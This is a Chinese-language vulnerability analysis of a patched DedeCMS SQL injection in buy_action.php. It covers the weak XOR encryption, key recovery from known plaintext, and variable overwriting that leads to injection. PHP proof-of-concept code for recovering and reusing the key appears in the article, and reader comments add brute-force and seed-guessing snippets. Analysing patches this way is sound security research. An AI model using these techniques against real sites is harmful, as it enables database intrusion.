DedeCMS最新通杀注入(buy_action.php)漏洞分析

0x00 前言


前两天,乌云白帽子提交了两个DedeCMS的通杀注入漏洞,闹得沸沸扬扬,25号织梦官方发布了补丁,于是就下载最新代码回来做了对比,这里简单的分析下其中的一个注入。

0x01 漏洞分析


对比补丁后发现,25号发布的源码修改了5个文件,其中的/member/buy_action.php文件补丁对比如图1。

enter image description here

很明显mchStrCode函数加强了加密强度,补丁前是简单的异或算法,但是织梦25号发布的补丁旨在修复乌云提交的两个注入,这个函数可能有猫腻,搜索调用该函数的文件,如图2。

enter image description here

接着看到/member/buy_action.php的22 - 40行代码:

#!php
if(isset($pd_encode) && isset($pd_verify) && md5("payment".$pd_encode.$cfg_cookie_encode) == $pd_verify)
{
    parse_str(mchStrCode($pd_encode,'DECODE'),$mch_Post);
    foreach($mch_Post as $k => $v) $$k = $v;
    $row  = $dsql->GetOne("SELECT * FROM #@__member_operation WHERE mid='$mid' And sta=0 AND product='$product'");
    if(!isset($row['buyid']))
    {
        ShowMsg("请不要重复提交表单!", 'javascript:;');
        exit();
    }
    if(!isset($paytype))
    {
        ShowMsg("请选择支付方式!", 'javascript:;');
        exit(); 
    }
    $buyid = $row['buyid'];

}else{

注意其中的这两行代码:

#!php
parse_str(mchStrCode($pd_encode,'DECODE'),$mch_Post);
    foreach($mch_Post as $k => $v) $$k = $v;

调用了mchStrCode函数对$pd_encode变量解密并通过parse_str函数注册变量,紧接着foreach遍历$mch_Post数组,这里如果我们可以控制$pd_encode解码后的内容,就可以注册覆盖任意变量。回过头来看mchStrCode函数的代码:

#!php
function mchStrCode($string,$action='ENCODE')
{
    $key    = substr(md5($_SERVER["HTTP_USER_AGENT"].$GLOBALS['cfg_cookie_encode']),8,18);
    $string    = $action == 'ENCODE' ? $string : base64_decode($string);
    $len    = strlen($key);
    $code    = '';
    for($i=0; $i<strlen($string); $i++)
    {
        $k        = $i % $len;
        $code  .= $string[$i] ^ $key[$k];
    }
    $code = $action == 'DECODE' ? $code : base64_encode($code);
    return $code;
}

看到mchStrCode函数中的这句代码:

#!php
$key = substr(md5($_SERVER["HTTP_USER_AGENT"].$GLOBALS['cfg_cookie_encode']),8,18);

$_SERVER["HTTP_USER_AGENT"]+$GLOBALS['cfg_cookie_encode']经过md5取18位字符,其中的$_SERVER["HTTP_USER_AGENT"]是浏览器的USER_AGENT,我们可控,关键是这个$GLOBALS['cfg_cookie_encode']的来源,我们继续对比补丁,如图3。

enter image description here

其中/install/index.php的$rnd_cookieEncode字符串的生成同样是加强了强度,$rnd_cookieEncode字符串最终也就是前面提到的$GLOBALS['cfg_cookie_encode'],我们看看补丁前的代码:

#!php
$rnd_cookieEncode = chr(mt_rand(ord('A'),ord('Z'))).chr(mt_rand(ord('a'),ord('z'))).chr(mt_rand(ord('A'),ord('Z'))).chr(mt_rand(ord('A'),ord('Z'))).chr(mt_rand(ord('a'),ord('z'))).mt_rand(1000,9999).chr(mt_rand(ord('A'),ord('Z')));

这段代码生成的加密密匙很有规律,所有密匙数为26^6*(9999-1000)=2779933068224,把所有可能的组合生成字典,用passwordpro暴力跑MD5或者使用GPU来破解,破解出md5过的密匙也花不了多少时间。 分析到此,现在的关键是如何得到经过MD5加密后的18位长度密匙。前面说过,mchStrCode函数使用简单的异或算法,假设有明文A,密匙B,密文C,则:

C = A ^ B
B = A ^ C

也就是说ABC只要只其二就可以推导出剩下的一个了。怎么得到明文以及加密后的字符串呢?看到/member/buy_action.php的112 - 114行代码:

#!php
$pr_encode = '';
    foreach($_REQUEST as $key => $val)
    {
        $pr_encode .= $pr_encode ? "&$key=$val" : "$key=$val";
    }

    $pr_encode = str_replace('=', '', mchStrCode($pr_encode));

    $pr_verify = md5("payment".$pr_encode.$cfg_cookie_encode);

    $tpl = new DedeTemplate();
    $tpl->LoadTemplate(DEDEMEMBER.'/templets/buy_action_payment.htm');
    $tpl->Display();

注意到$pr_encode是从$_REQUEST获取的,也就是说明文可控,同时$pr_encode加密后写到html页面,如图4。

enter image description here

0x02 漏洞测试


下面来测试,这里需要用到firefox的一个插件User Agent Switcher来设置UA,安装插件后,添加一个UA头,其中的User Agent清空,description随便填。确认保存并使用插件将浏览器的UA设置刚刚添加的UA头,即为空。如图5。

enter image description here

设置为空是因为mchStrCode函数中的密匙含$_SERVER["HTTP_USER_AGENT"],如果不为空将加大md5的破解难度,设置为空则密匙为固定10位长度。设置好UA后,注册并登陆会员中心,在“我的织梦”->“消费中心”->“会员升级/点卡充值”中的“购买新点卡”选择“100点卡”,在点击购买前使用Live HTTP header监听,抓到的数据包如图6。

enter image description here

因为$_REQUEST获取参数是从$_GET->$_POST->$_COOKIE依次获取,所以$pr_encode明文的的内容为POST的内容“product=card&pid=1”加上COOKIE的内容,然后加密并打印加密后的字符串到html页面。同时“product=card&pid=1”刚好18个字符长度,对应密匙长度。点击购买后支付方式选支付宝,再次使用使用Live HTTP header监听,点击购买并支付提交,抓到的数据包如图7。

enter image description here

将pd_encode=后面的字符串复制下来,利用下面的代码逆出MD5加密后的key:

#!php
<?php
$key = "product=card&pid=1";
$string = "QEJXUxNTQwlVABcGF0QMVAwFFmBwZzV1ZGd%2FJVhQQAIXWAMCBEZeBwAAUVJTAgoNA0BTBgdWBhZ8UgJVYkdTEywmDAxDdFRQVWVLUhR5c2tpAg4vVQFYVFQHBAVZUV5VBVEGAFdQBRIhVVVRfF9fXghkXllTXFRRCAdRAAUDBQUecwNUUnhZBgwMZV0IVW5rU1t1U1MNVVIOWFFRA1UEAwcEUQZaBUB1eWJpJiogcHcub2RmfA0XUwNUUldbEkoPVFkHVUMbX0BdRQdEXltYTxUKQQ";//加密的pd_encode字符串,需要修改
$string = base64_decode(urldecode($string));
for($i=0; $i<strlen($string); $i++)
{
        $code  .= $string[$i] ^ $key[$i];
}
echo "md5(\$key):" .$code;
?>

enter image description here

如图8。取逆出的key的前16位破解md5即可,破解出密匙后就可以利用mchStrCode函数来加密参数,同时利用变量覆盖漏洞覆盖$GLOBALS[cfg_dbprefix]实现注入。这里给出一段POC,代码如下:

#!php
<?php
$GLOBALS['cfg_cookie_encode'] = 'CaQIm1790O';
function mchStrCode($string,$action='ENCODE')
{
    $key    = substr(md5($GLOBALS['cfg_cookie_encode']),8,18);
    $string    = $action == 'ENCODE' ? $string : base64_decode($string);
    $len    = strlen($key);
    $code    = '';
    for($i=0; $i<strlen($string); $i++)
    {
        $k        = $i % $len;
        $code  .= $string[$i] ^ $key[$k];
    }
    $code = $action == 'DECODE' ? $code : base64_encode($code);
    return $code;
}

其中的CaQIm1790O就是解密出来的密匙,漏洞分析到处结束,感觉像是在记流水账,将就看看吧,最后上个本地测试EXP的图。如图9。

enter image description here

0x03 总结


写到这里就算结束了,最后做个总结,漏洞由mchStrCode函数弱算法->导致通过获取到的明文和密文可以逆出经过MD5加密的密匙->破解MD5得到密匙->利用密匙加密数据->经过parse_str函数和foreach遍历最终覆盖表前缀变量$GLOBALS[cfg_dbprefix]实现注入,这样的漏洞并不多见,但危害很大,WAF等防火墙很难防御,漏洞利用过程提交的数据因为加密,面目全非,和正常用户操作提交的数据并无二致。

附:官方补丁地址:http://www.dedecms.com/pl/

原文链接:http://loudong.360.cn/blog/view/id/16

©乌云知识库版权所有 未经许可 禁止转载


30
Nimda 2014-08-14 16:03:37

Wooyun敢添加个放大图片功能不 - -,最上面的几个小图看着累啊。。。

30
′ 雨。 2014-07-13 18:58:12

+1

30
fyth 2014-03-30 22:14:29

= =脑残了,忘了verify了

30
fyth 2014-03-30 22:10:38

key用到的是md5之后的,解出来明文没啥意义。直接异或出来key就行了吧。

30
marry 2014-03-24 15:35:58

同时“product=card&pid=1”刚好18个字符长度,对应密匙长度 不对吧

30
炯炯虾 2014-03-06 14:57:12

20秒破mt_rand( ) seed http://www.openwall.com/php_mt_seed/README

30
七叶 2014-03-05 09:50:07

那伪随机数的逆向破解问题怎么解决呢?
根据我的分析,这个poc的关键问题应该在这,实际上原本程序也就是认为这个"伪随机"能够保证不被破解,才敢"信任"来自用户的数据
现在这个信任关系被打破了,但是问题在于,有什么好的办法能快速逆向出这个key的明文值呢?
mt_rand()的种子key的明文空间太大了,我没有想到好的密码学对抗方法

30
瞌睡龙 2014-03-04 15:44:26

小伙伴,下次麻烦也发个diff到drops……:)

30
My5t3ry 2014-03-03 23:15:57

好认真啊,http://loudong.360.cn/blog/view/id/16 这里更新了代码,编辑器问题导致代码没贴全

30
七叶 2014-03-03 17:17:46

......不知道为啥,乌云过滤了"<"。for后面的内容都发不出来..
//LZ貌似漏了这个吧?
$k = $i % $len;
$code .= $string[$k] ^ $key[$k];

30
七叶 2014-03-03 17:16:36

<?php
//这是用户输入的订单数据,可能pid每次会不一样
$key = "product=card&pid=1";
//这是服务端返回的加密后的订单数据,每次可能会不一样
$string = "QEJXUxNTQwlVABcGF0QMVAwFFmBwZzV1ZGd%2FJVhQQAIXWAMCBEZeBwAAUVJTAgoNA0BTBgdWBhZ8UgJVYkdTEywmDAxDdFRQVWVLUhR5c2tpAg4vVQFYVFQHBAVZUV5VBVEGAFdQBRIhVVVRfF9fXghkXllTXFRRCAdRAAUDBQUecwNUUnhZBgwMZV0IVW5rU1t1U1MNVVIOWFFRA1UEAwcEUQZaBUB1eWJpJiogcHcub2RmfA0XUwNUUldbEkoPVFkHVUMbX0BdRQdEXltYTxUKQQ";//加密的pd_encode字符串,需要修改
$string = base64_decode(urldecode($string));
$len = strlen($key);
for($i=0; $i

30
七叶 2014-03-03 17:13:02

好文,跟着LZ一起分析完了,很淫荡的漏洞
有亮点想说一下:
1. 获取md5($key)的poc好像有点问题
<?php
//这是用户输入的订单数据,可能pid每次会不一样
$key = "product=card&pid=1";
//这是服务端返回的加密后的订单数据,每次可能会不一样
$string = "QEJXUxNTQwlVABcGF0QMVAwFFmBwZzV1ZGd%2FJVhQQAIXWAMCBEZeBwAAUVJTAgoNA0BTBgdWBhZ8UgJVYkdTEywmDAxDdFRQVWVLUhR5c2tpAg4vVQFYVFQHBAVZUV5VBVEGAFdQBRIhVVVRfF9fXghkXllTXFRRCAdRAAUDBQUecwNUUnhZBgwMZV0IVW5rU1t1U1MNVVIOWFFRA1UEAwcEUQZaBUB1eWJpJiogcHcub2RmfA0XUwNUUldbEkoPVFkHVUMbX0BdRQdEXltYTxUKQQ";//加密的pd_encode字符串,需要修改
$string = base64_decode(urldecode($string));
$len = strlen($key);
for($i=0; $i

2. 文章中有一个关键点没有详说,得到md5($key)后该怎么逆向破解出$key呢?这个是"强随即(相对的)"字符串哦!cmd5.com应该是查不出来的,要做到批量poc的可用程序,必须还得有以一种稳定可靠的逆向破解方法
我想了2个思路:
1) 纯暴力穷举
$cipger = "96fbe6041f06dc217b";

for ($i=ord('A'); $i <= ord('Z'); $i++)
{
for ($j=ord('a'); $j <= ord('z'); $j++)
{
for ($k=ord('A'); $k <= ord('Z') ; $k++)
{
for ($l=ord('A'); $l <= ord('Z') ; $l++)
{
for ($m=ord('a'); $m <= ord('z'); $m++)
{
for ($o=1000; $o <= 9999; $o++)
{
for ($p=ord('A'); $p <= ord('z'); $p++)
{
$rnd_cookieEncode = chr($i) . chr($j) . chr($k) . chr($l) . chr($m) . $o . chr($p);
if(substr(md5($cfg_cookie_encode), 8, 18) == $cipger)
{
die(var_dump($cfg_cookie_encode));
}
}
}
}
}
}
}
}
很蛋疼,你懂的,我的联想G470都跑烧了都没跑出来

2) PHP的伪随机数问题
<?php
if($seed = get_seed())
{
echo "seed is: " . $seed . "\n";
mt_srand($seed);
echo "key is: " . chr(mt_rand(ord('A'),ord('Z'))).chr(mt_rand(ord('a'),ord('z'))).chr(mt_rand(ord('A'),ord('Z'))).chr(mt_rand(ord('A'),ord('Z'))).chr(mt_rand(ord('a'),ord('z'))).mt_rand(1000,9999).chr(mt_rand(ord('A'),ord('Z')));
}

//逆向算法的逻辑,猜解出种子值
function get_seed()
{
for($i = 0; $i

这两种是我目前想到的,可是效果还是不太好,我可怜的G470..一直在呻吟

30
七叶 2014-02-28 17:48:18

怎么有种似曾相似的感觉
DZ也有一个类似利用思想的漏洞
http://www.freebuf.com/articles/web/12088.html

30
mango 2014-02-28 14:13:18

沙发。。。我不做黑产

感谢知乎授权页面模版